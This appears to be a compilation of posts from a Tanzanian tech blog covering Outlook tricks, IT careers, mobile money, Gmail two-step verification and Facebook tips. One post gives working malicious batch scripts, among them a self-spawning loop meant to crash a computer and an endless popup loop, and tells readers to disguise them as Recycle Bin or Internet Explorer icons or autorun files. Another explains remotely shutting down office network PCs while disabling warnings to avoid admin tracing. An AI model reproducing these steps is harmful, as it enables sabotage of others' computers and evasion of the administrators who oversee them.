Most of the times we want to use our phones for more than just a mobile phone to give it the ability to accomplish some tasks more than just making phone calls or browsing to the internet. There is a trick of switching off your computer using your mobile phone. All you need to have is the ability to send mail in your mobile phone and Microsoft outlook in your computer.

Procedures

1. First create the batch files for Hibernate, shutdown or restart using windows command and save the file with the extension of .bat

2. Inside the Notepad type [c:\windows\system32\shutdown -s -f -t 00] without the blazers]

3. Save the file as filename.bat

3. Open and Configure Microsoft Outlook in your computer or the computer you want to perform operations. Configure that Outlook checks the inbox after every 1 minute.   Go to Tools: Options.

4. Select the Mail Setup tab and then Send/Receive button.

5. Configure and check the Schedule an automatic send/receive configure the minutes to 1 and close the dialog boxes.

6. Now go to Tools: Rules and Alerts select the options button in the upper right hand corner and press the Import Rules button.

7.  Trace the Filename.bat file which you have created and select it.

8. Now, when you send a message from your phone to your e-mail address with the subject shutdown or smsshutdown%%, your computer will shutdown.

It’s complicated sometimes when you found yourself with ambiguities on what to pursue and survive as an IT professional in Africa. The Industry is hot and it keeps on growing everyday new opportunities are born and cities competing to become IT hubs for their local regions. This shows the battle of running the Industry is no longer for the top guns like South Africa and Nigeria. Recently we have herd Kigali trying to become the IT core for East Africa trying to compete with Nairobi.

As an IT pro first of all you need to ask yourself is what do you want to be hired or to be an entrepreneur

This is very vital question because it determines which specialization you are supposed to take for example becoming an IT entrepreneur you need to have a basic knowledge at least in each and everything in the Industry if you want to start a consultant company we expect you to be familiar with number of stuffs. In the other hand for cooperate IT pro’s we expect them to have complete Idea and knowledge on the specific matters they are working on For example we expect a mobile phone engineer in telecommunication firm to have complete knowledge in mobile phone technologies such as VAS and so on also if you are working in accounting and management part of the industry we expect you to have knowledge in accounting packages such as Tally and database management systems such as Oracle and so on.

What went wrong?

The perception of most young IT pro’s is that once you graduate with a Computer science degree or telecommunication degree that is all you need to survive in this industry and forgetting that there is something called specialization. For example we understand everyone studied Software engineering as part of is syllabus in college but ninety percent of these people they know nothing about software development in real sense meaning that they can’t even do a simple software development project. This led us to our main point which is specialization. We expect a graduate to have strong knowledge in programming languages and software interfacing if his goal is to become software engineer.

What to do for those who want to work in institutions and organizations?

First understand the Industry and the working environment of the place you want to work or pursue your expertise meaning that if you are doing database management system then ask people who are already in office what kind of database are they using if it’s Oracle, MySQL, Derby and so on. This will help you to focus directly on what you are going to work on. The same thing goes for people who expecting to become system administrators you must know the servers and the system you are working on you might spend most of your time focusing on CISCO servers and systems later coming to realize your company is using Linux RedHat systems.

What to do for those who want to become IT entrepreneurs?

First of all is innovation and creativity there is no way you are going to skip that and then ask yourself what sells in the market now if its graphics designing or troubleshooting networks that is your decision. Another important thing is about your customers what do they want you to do for them in most of the time that should be your priority for whatever you are studying if its video production or website designing .Learn new things and new technologies every day and at least try to understand everything in basic and when the task come try to focus on that task until you finish it.

Mobile money is among the fastest growing technologies in East Africa, the technology has proven itself to be a life saver and a game changer to the local financial institutions and business sectors. Few years back it was a normal thing to witness people queued up in long lines waiting either to send money in some accounts in the bank or receive money. The emerging of Mobile banking has been a great step forward in the enhancement of financial transaction systems of Tanzania and Africa in general.

Mobile money is paved the way for Mobile Banking with Vodacom working with both CRDB and NMB to provide the m-banking services to their customers this implies the game is on for more mobile service providers to works with local banks to provide the services to the local communities. With the case study done by Vodacom M-PESA in 2010 In Tanzania 54% of people didn’t use any form of financial service; formal, semi-formal or informal prior to the launch of M-PESA while only 9% of the population had access to formal financial services.  In 2011 the governor of Bank of Tanzania (BOT) Mr. Benno Ndulu told The Citizen the daily local newspaper that “The mobile phone banking facilitates the flow of financial services to unbanked customers mainly in rural areas. And they access banking services at low charges”

                This is the period when we say everything goes online wither its money or media. The East Africa mobile industry giants like Vodacom, Airtel, MTN, Tigo, Safaricom and others have implemented the technology as part of their services which they provide to their customers. The number of mobile phone users in Tanzania is expected to hit 36 million by 2015. This means that mobile payment and transactions at some point of time will be among the most influential ways of doing business and conducting financial transactions.

                “I have a chance to double the original amount I invested in the beginning of the day as the daily profit in my business for both M-PESA and Tigo PESA” the local entrepreneur said. PESA means money in Swahili official translation of the term. M-PESA and Tigo PESA are among the mobile transactions services provided by Vodacom and Tigo respectively in Tanzania. The users of the technology enjoy the benefit of the technology and most of them agree the technology is efficiency, time saving and more secure. They no longer have to travel with a lot amount of money in their pockets, this reduces the risk of them being robbed also they claim that the technology reduces the complication they were facing in the banks having to line up in long queues. The condition that you must have a bank account before sending or receiving money was among the other things they didn’t like to face.

                Mobile payment is a game changer now people can contribute for the weddings, sending school fees to their kids, paying their T.V bills and electric bills, spiritual contributions and so many other things can be done through the use of digitized money transactions.

                The lack of knowledge and security in the digital transaction of money has been the major setback in the growth of the technology. People has been withdrawn from the technology with the fear of getting cheated and tricked into releasing their accounts or transfer their banks deposit to the wrong people. For services like performing balance check and other banking transactions which does not involve transferring of money has been utilized more than services which involve major cash transfers through accounts or payments in some businesses.

                The local mobile phone companies have been reluctant to explain the issues of security to their customers and most of the time the banks and mobile companies have the perception that the responsibility of informing the community about these problems associated with digital money transferred belongs to the other body.

                While the technology is booming and new innovation and ideas are coming out every day the authorities should focus more in creating awareness to the local people on safety procedures on the ways of doing their final transaction using digitized system wither is mobile phones, PDAs and so on. Recently have been reports in crimes involving people stealing money from locals and banks using their mobile phones working together with corrupted people in these institutions to reach their goal of tricking the customers into the trap of thieves. The only problem that remains in our hands now is the issue of security and how to create awareness among the users of the technology.

For someone like me having all of my works loaded in my email from my blog posts, financial records, partnership agreements, access to my blogs and other things really to have a just a password to protect my stuff isn’t enough. Always I was thinking what would happen if someone hack my account or by mistake someone get access to my password what would I do?  

Then Gmail come up with the solution the 2 step verification of the user ID and Password. The idea is great after you longing in to your account using your username and password the text SMS message will be sent to your phone in real time giving you six digit codes which will allow you to access your account and just in case you don’t get the SMS you can simply dial and immediately the machine will reply through your phone mentioning the digits to you. 

This helps you in two ways, first even if someone get access to your account he will not be able to access your account. Second, the six digit codes you are receiving they kept on changing each and every time you log in to your account which makes it difficult for someone to hack your account. The other best thing you can easily realizes if someone has hacked to your account since you will get the six digits notification immediately on your phone through the SMS.

2-step verification was introduced by Google it requires two independent factors for authentication, much like you might see on your banking website: your password, plus a code obtained using your phone.

To edit your security settings and upgrade to 2 step verification, just log in in to your Gmail account and follow this link https://www.google.com/settings/security inside it, go to step 2 verification and make sure you activate the step 2 verification. 

 To learn more about 2-step verification and get started, visit  Google Help Center. And for more about staying safe online, see Google ongoing security blog series or visit http://www.staysafeonline.org/. Be safe!

The core reason of having a mobile phone company in the first place is to connect people and provide means of communication between people by using the cellular network provided by the mobile phone company.

First thing first we realize although the service providers have to make profit out of this but the main aim still is to connect people no matter what ways you attain your profit but people must still be connected all the time and in most efficient way.

There are two things here the profit that the company has to make and the service that the company has to provide which led us to our main topic what’s wrong with mobile phone companies in Tanzania. While other mobile phone companies are fighting to provide good consumer services others are fighting to attain more profit out of their consumers while not even providing proper services.

During the early days of mobile companies the days of Mobitel and the likes  the main focus first was to reach people first in the most efficient way and to ensure proper interactivity between the consumer and the service provider. There is nothing wrong for the company trying to make profit out of their services but the point still stand does they provide proper services with respect to the money we are spending on them. for example if you have to call the person three times before getting a channel to talk to him just because the company is not able to control on air mobile traffic or you cannot recharge your phone account because the server is low it has been overpowered by the number of users.

We like the competition that we are seeing wright now having the mobile phone giants companies such as Vodacom, Tigo, Airtel, Zantel and others competing to win the hearts of consumers but really what we need is good service first  and other things can follow later.

The other thing is that the companies should find a proper way of collecting the money and surviving in the competition instead of charging extra cost for the user when makes phone call to the rival company. If I can talk peacefully when am calling Vodacom to Vodacom expect to have the same conversation with a person from the rival mobile company such as Airtel, Zantel or Tigo. I don’t care how you make your money that’s why you have financial officers let them crack their heads on how to get the money while the consumers enjoy their talk time If it is through advertisement or increasing number of people in your network that is for you to decide but please provide us with proper services.

It reaches a point now one person is having four handheld devices just to be able to call people from other mobile companies why should it be that way? Does it mean that we are not creative enough to think in any other why to reduce the talk time cost when the consumer is calling another company? This is not true why it is possible in other countries but not here. That is the challenge we left to you the mobile phone companies service providers it is enough of this suffering. The knowledge on how to overcome this situation can be studied in other developing countries such as India in which to some extent they have been able to overcome.

Ok guys, am not responsible for the consequences of your actions, just providing knowledge on how to do these things. I believe you have seen a .bat file at least once in a system. It’s a file with an icon of overlapping gear systems. The .bat files are called batch files in all the things they do they can also be used to create malicious codes in other words called virus. If these codes are written in the Notepad text editor and saved with an extension .bat file they can really cause damage to a computer or network. They can cause system to crash and file to multiply vigorously. 

NOW TO MAKE A BATCH:
1) open NOTEPAD
2) start with the following script
@echo off
 followed with your commands
3) save as FILENAME.bat
4) Batch file has already been created

Example 1: let’s create a batch file which will open the CMD prompt in 4 times and give out the message “your computer will crash”. 

@echo off

msg * YOUR COMPUTER WILL CRASH

start

start

start

start

Example 2: This will crash your computer for really not fun 

@echo off

:loop

start joke.bat

Goto loop

Example 3: Try this at your own risk 

@echo off

echo You have contacted greentech360.

echo.

pause

cls

echo Searching for greentech360

echo.

pause

msg * greentech360 found

:a

msg * greentech360 is coming

msg * greentech360 is coming

msg * greentech360 is coming

msg * greentech360 is coming

msg * greentech360 is coming

msg * greentech360 is coming

goto a

The message box can't be deleted unless you reboot the computer, and the funny thing is, when the person tries to hide the message box in the corner of the screen where someone can't see it, every few minutes it'll pop up in the middle of the screen.

For advanced users of the batch files you can choose to convert the files to .exe by using compilers available online. The batch files tricks can be used also to create autorun virus by just saving the file as autorun.inf. After creating a .bat file you can easily change the file icon on the desktop by just going to properties and give it a fake name such as Recycle Bin or Internet Explorer and once the user click the file the damage will be done on the system make sure you delete the original icon on the desktop and the file is a shortcut. Please it is illegal to practice these things without the prior concern of the owner of the system has fun. More tricks to come keep visiting greentech360. Please share this pals to increase my traffic.

  Take your time and practice windows command prompt codes it’s amazing what you will discover about the power of these codes and the changes they could impact to the system or network. Windows command prompt codes for network includes: NET STAT, NET USER, IPCONFIG, TRACERT and others. To get information and other options available in the command simply type the command followed by (/?) and the detailed explanation of the command will be provide for example (NET USER/?) it will give you the complete list of options available for the commands view my previous article on Windows command Prompt here. Let’s get started:

             We are going to shut down the network for a while: 

First method

1) Open windows command prompt go to run type CMD

2) Inside the windows command prompt type cd\

3) Then type the command NET VIEW this will show all computers on the network

4) Note:  if you type NET you can see all the network options under NET command

5) If the network is not that powerful, you can shut down or log off network PCS, type

SHUTDOWN –I which will display the graphical user interface of the system provided that the security of the network is not that much enhanced.

Second method (shutting down PC’s in the network)

1) Open NOTEPAD

2) Type command.com

3) Save as The file you have juts created using NOTEPAD with .bat extension on it

4) Note:  if you type NET you can see all the network options under NET command

5) Now all you have to do is open the file inside it type SHUTDOWN –I

6) After you type SHUTDOWN –I remote shutdown dialog window will pop up with some options

7) Now go to Browse and select the network to search in and add the system you want to   shutdown in the network and just click OK it’s done you are good to go.

8) To eliminate admin tracing back to you deactivate warn the users options.

 Please try this in a larger network with good security at your office or work station and give me the feedback if it works or not I will more than happy to hear from you guys. Remember do it at your own risk am a trainer not a hacker lol. Please don’t forget to share pals….

“Recurrent expenditure will total 8.6 trillion shillings, while investment in roads, railways, ports and communication technology set to increase to 2.78 trillion shillings from 1.51 trillion shillings a year earlier, Mr. Mkulo the ex-minister of finance said” David Mallinga Doya @ Bloomberg . This was according to the budget ending 30^th June 2012. In the new budget of 2012/2013 Mr. Mgimwa the current Minister of Finance said “4bn/- would be used to strengthen communications through Information and Communication Technology (ICT)”.

The Kenyan budget as presented by Kenyan Finance Minister Mr. Uhuru Kenyatta announces almost 1bn  Kenyan shillings was to be invested in ICT (2011-2012 budget) almost  around 18bn Tanzanian Shillings almost four times the amount of the money located by Tanzanian government for ICT development.  This makes the competition of Dar es Salaam to be the ICT hub of East Africa just above Nairobi to be next to impossible. Although the government has done a lot to improve the ICT sector in major cities of Tanzania still there is a lot to be done when it comes to compete at the international level. Our aim is not to target Kenya as our main goal but it’s inevitable to receive challenge from them as they are our neighbors and we co-exist in the East African Community.  

The ICT industry is currently booming in Tanzania with Tanzania ranking as one of Africa’s top countries when it comes to the number of users on the net. The country ranks 6th on World Internet Stats’ chart with 5.9-million users, just below South Africa with 6.8-million users. In December 2000, Tanzania only had 115 000 people connected to the Internet, but that number has grown significantly since then. In a recent study, it was revealed that more than 5.9-million citizens now access the Internet on a daily basis, out of the country’s population of over 42-million people. That is a penetration rate of 11.5% of the population.

This shows the potential of the industry and its ability to promote the development of the nation by providing job opportunities and allow investors to come to invest in different ICT projects in Tanzania which in turn will generate more income to the government. Currently there is hundreds if not thousands small local ICT companies by small entrepreneurs providing services to the local people and organizations. Most of these small companies have been the biggest solution of the problem of unemployment in our country. The mobile phone companies are among the biggest job providers in our country.

A lot of initiatives has been taking place includes launching of the first offering of commercially-available LTE (4G) technology for mobile Internet, beating African heavyweights South Africa. Mobile operator Smile Telecoms launched the service in the capital Dar es Salaam and makes use of the 800MHz frequency band but still it is not enough. The government should put more money in the industry especially in the research sectors so that people could come up with new plans and ways to tackle problems by the use of ICT projects.

The current ways used by the government to tackle some problems have been a major source of corruption and inefficiency in operation. The positivity of investing in technology ways of tackling problems can be witnessed in several government projects including The Port Cargo system, the ascuda project of TRA and the digital driver’s license systems has eliminate rooms of fraud and corruption since everything has been digitalized and the efficiency has been increased.

The government has to implement more systems of these kinds to increase efficiency and tackle problems facing the local communities. Recently the mobile phone service providers companies have join hands with local USSD applications developers to reach people and tackle their problems through SMS applications in their mobile phones which is a great initiative. The government should support these kinds of projects and use them as tool also to implement their plans and ideas to local people.

The HIV knowledge or census awareness or other programs can be done using these kinds of digital applications. This will help the government to cut down spending by reducing the cost of teaching people physically and transfer professionals to the required areas while simply they could use technology to reach the people in time and at a lower cost.

The 2009 Uganda projects to reach poor people through SMS which was facilitated by Google using the local mobile phone company MTN and the NGO Grameen Foundation was proved to be successful to the Ugandan local communities. The government can come up with these kind of projects or help to facilitate the ideas whenever someone come up with them so as to create the room for technology to be the problem solver of our communities.

Among the reasons India and China are successful today is due to the advancement of technology in their countries. Technology enables you to tackle challenges as they come with a required effective solution for the problems.

The industry needs more money to funds small startups programs projects for young local entrepreneurs who are aiming at coming with ideas which will impact the communities directly by helping the people to overcome their daily problems. Most regards to TanzICT and Kinu innovation hub and other incubation authorities such as DTBi for helping to facilitate the projects. The reality is our neighbors are giving us a real challenge with amazing projects and plans. ICT professionals in Tanzania we have a bigger challenge as we are dwelling into the East African community we need our government to back us up and support us in whatever we are doing for better tomorrow of our country and African continent in general.  

Getting social with your site or blog and increase traffic

Most of the time these days when you open a site or blog wither its word-press or blogger you will find out people have these attractive sharing button on their sites. These buttons allows them to link their sites to the social networking sites such as Facebook, Google + and others and even re tweeting their posts in twitter or like their pages in Facebook. You want to do that it’s easy you can either have all of them at the same time by just going to sites like Share this or Add this which would give you a widget of a certain form by just selecting your platform if it’s a website, blogger, wordpress or any other and then you will be directed to copy the codes provided to a specified location in your site or blog. Most of the time for bloggers you will have to paste the codes in Html/JavaScript widget in blogger and For a website you will have to paste it at your own required destination in some of the sites they will give you a floating share buttons above your site look here. 

Facebook developer’s tools allow you have almost every plugins you need for your site to increase interactivity and quality of your site. You can get the plugins from [https://developers.facebook.com/docs/plugins/] these plugins will help to enhance the look of your sites and to increase credibility of your clients for example the recommendations plugin.

 

From Twitter you are allowed to have different widgets which will display to your users your real time activities and daily tweets updates as they appear at your profile page, you can have the widgets from this link [https://twitter.com/about/resources/widgets].

For Google plus (G+) users the button for social network can easily be found from this link [http://widgplus.com/] together with several other plugins for developers and web designers to interact with their clients and increase traffics to their sites.

Other social networking sites can be easily accessed in using the Share This and Add This buttons by just selecting the links you want to have in your site or posts in your blogs.

When Facebook is almost hitting 1 billion users all over the world and new features get introduced each and every day I would say there is every reason to make the most of it. For different reasons either to impress your friends or to increase your skills get ready to learn these marvelous tricks of Facebook user interface.

Downloading Video from Facebook

Sometimes you want to download a video in which you or your friend is tagged in Facebook and you want it to be done immediately the video can be an uploaded video from the PC or video from YouTube this can be done by simply copying the URL (universal resource locator) of the link and paste it to this site downfacebook.com where you can easily filter the video from Facebook and download it to your PC.

How to find who deleted you or unfriend you in Facebook

Sometimes you anxious to know who no longer want to be your friend in Facebook, this will get cumbersome and complicated of you have a big list of friend and trying to check who has deleted you. What you can do is simply to use the application called delete me this application will back up your friend list and notify you by e-mail whenever one of your friend unfriend you.

How to download a complete photo album in Facebook

Sometimes you want to download pictures of your friends but they seems to be so many and you cannot afford to waste your time downloading one photo at a time here comes facebook2zip.com make sure you are logged in with Facebook at the exact time you are accessing the site, you will follow simple steps and select the album the album you want to download and then you are in.

How to activate a Facebook timeline

To activate the Facebook timeline so that you can have the large cover photo at your profile page in Facebook for your friends to see you simply go to this link [https://www.facebook.com/about/timeline]once you are there just find the click Get Timeline. Just like that you are good to go.

Deleting Facebook account permanently

Sometimes your account has been hacked or compromised or you just want to change your identity in Facebook and come as someone else it easy, you just have to abide to some few rules and procedures. First go to [https://www.facebook.com/help/delete_account]follow the steps and procedures as you are told to. I can’t explain about the rules since they keep on changing.